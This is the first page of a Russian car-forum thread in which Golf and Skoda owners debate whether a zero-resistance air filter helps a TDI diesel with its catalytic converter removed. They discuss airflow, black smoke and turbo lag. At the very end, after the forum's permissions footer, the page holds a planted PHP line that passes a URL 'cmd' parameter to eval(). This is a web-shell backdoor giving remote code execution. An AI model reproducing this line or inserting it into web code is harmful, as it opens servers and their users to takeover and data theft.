+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя
Показано с 1 по 10 из 13

Тема: Нулевик на TDI?


  1. #1
    Мимо проходил Tural is on a distinguished road Аватар для Tural
    Регистрация
    31.05.2010
    Откуда
    Красногорск
    Машина
    Golf 5 TDI
    Сообщений
    16

    Нулевик на TDI?

    Друзья,кто нибудь ставил нулевик на TDI и вообще стоит ли ставить?Каталик вырезан,вот думаю над нулевиком!

  2. #2
    GTI-Racing Quizzus will become famous soon enough Аватар для Quizzus
    Регистрация
    03.10.2008
    Откуда
    Moscow
    Машина
    GTI EDITION 30
    Сообщений
    748
    Ставили на Гольф 4-й ТДИ на чипе, субъективно получше на высоких стало, но в реальности ни о чем, не стоит оно того, да еще и обслуживать заи.....ся)

  3. #3
    GTI-Racing graylove is on a distinguished road Аватар для graylove
    Регистрация
    26.04.2010
    Откуда
    Питер
    Машина
    Mk4GTI
    Сообщений
    135
    а расскажите, вообще зачем нужен этот нулевик? чем он лучше простого воздушного фильтра :)
    I love Gti
    1.8T\ARZ

  4. #4
    GTI-Racing Quizzus will become famous soon enough Аватар для Quizzus
    Регистрация
    03.10.2008
    Откуда
    Moscow
    Машина
    GTI EDITION 30
    Сообщений
    748
    Цитата Сообщение от graylove Посмотреть сообщение
    а расскажите, вообще зачем нужен этот нулевик? чем он лучше простого воздушного фильтра :)
    Ну вот Вам если противогаз надеть, дышать как будет?)) Вот и двигателю с фильтром не очень дышится.....но без фильтра опасно, воздух вокруг ни разу не стерильный, а "нулевики" обладают пониженным сопротивлением воздуху, что по сути должно повысить отдачу от двигателя....короче как-то так, знатоков прошу не пинать))

  5. #5
    GTI-Racing graylove is on a distinguished road Аватар для graylove
    Регистрация
    26.04.2010
    Откуда
    Питер
    Машина
    Mk4GTI
    Сообщений
    135
    Цитата Сообщение от Quizzus Посмотреть сообщение
    Ну вот Вам если противогаз надеть, дышать как будет?)) Вот и двигателю с фильтром не очень дышится.....но без фильтра опасно, воздух вокруг ни разу не стерильный, а "нулевики" обладают пониженным сопротивлением воздуху, что по сути должно повысить отдачу от двигателя....короче как-то так, знатоков прошу не пинать))
    ну в принципе понял))
    спасибо за ответ)
    I love Gti
    1.8T\ARZ

  6. #6
    GTI-Racing kai is on a distinguished road Аватар для kai
    Регистрация
    10.03.2009
    Машина
    MK-4 1.9 tdi
    Сообщений
    128
    Повседневные 1.9 тди имеющие 250+/500+ не используют нулевики. Делай выводы.

  7. #7
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от kai Посмотреть сообщение
    Повседневные 1.9 тди имеющие 250+/500+ не используют нулевики. Делай выводы.

    так этож дизель, ему не надо воздуха стока........ а цифири 250+/500+ тут не пример, у меня в деревне трактор есть 40 л.с. 4 литра мотор..... турбины нет, фильтра нулевика нет, угадай скока Нм :friends: ???
    песок сыпется....не останавливайтесь на достигнутом !

  8. #8
    GTI-Racing kai is on a distinguished road Аватар для kai
    Регистрация
    10.03.2009
    Машина
    MK-4 1.9 tdi
    Сообщений
    128
    Не знаю, просвети :)
    Черный дым это как раз нехватка воздуха. Добавь воздуха и получишь чистый выхлоп, мощьность и более низкие значения ЕГТ.

    Добавлено через 1 минуту
    Это я к тому что нехватка воздуха имеет место быть особенно на низах.
    Последний раз редактировалось kai; 08.06.2010 в 22:11. Причина: Добавлено сообщение

  9. #9
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от kai Посмотреть сообщение
    Не знаю, просвети :)
    ок. 200Нм на 800-900 об\мин

    песок сыпется....не останавливайтесь на достигнутом !

  10. #10
    GTI-Racing lingus is on a distinguished road Аватар для lingus
    Регистрация
    06.02.2007
    Откуда
    Чехов
    Машина
    Skoda Superb 1.8T
    Сообщений
    1,214
    нехватка воздуха не потому что им дышится тяжело из-за фильтра, а потому что у всех почти дизелей педаль газа управляет подачей соляры на ТНВД или аналогах, а не открытием дросселя (есть и с дросселями модификации), поэтому пока ты в пол жмёшь - у тебя соляры много, а турбина еще не раскутилась и воздуха мало, вот и коптит
    Skoda Superb 1.8T
    NewBeetle 2.0MT Black - продан
    VW golf VI GTi - на попечении

+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя

Похожие темы

  1. Нулевик
    от центровой в разделе Покупка и продажа запчастей
    Ответов: 0
    Последнее сообщение: 11.04.2013, 18:02
  2. нулевик ITG новый!
    от !!!LIS!!! в разделе Покупка и продажа запчастей
    Ответов: 1
    Последнее сообщение: 23.12.2011, 16:40
  3. носок на нулевик K&N
    от inVENTOr в разделе Покупка и продажа запчастей
    Ответов: 14
    Последнее сообщение: 26.07.2011, 10:27
  4. Нулевик
    от Иван Москва в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 3
    Последнее сообщение: 23.04.2007, 09:08
  5. Нулевик на TFSI
    от Alex551 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 31
    Последнее сообщение: 30.12.2006, 20:08

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}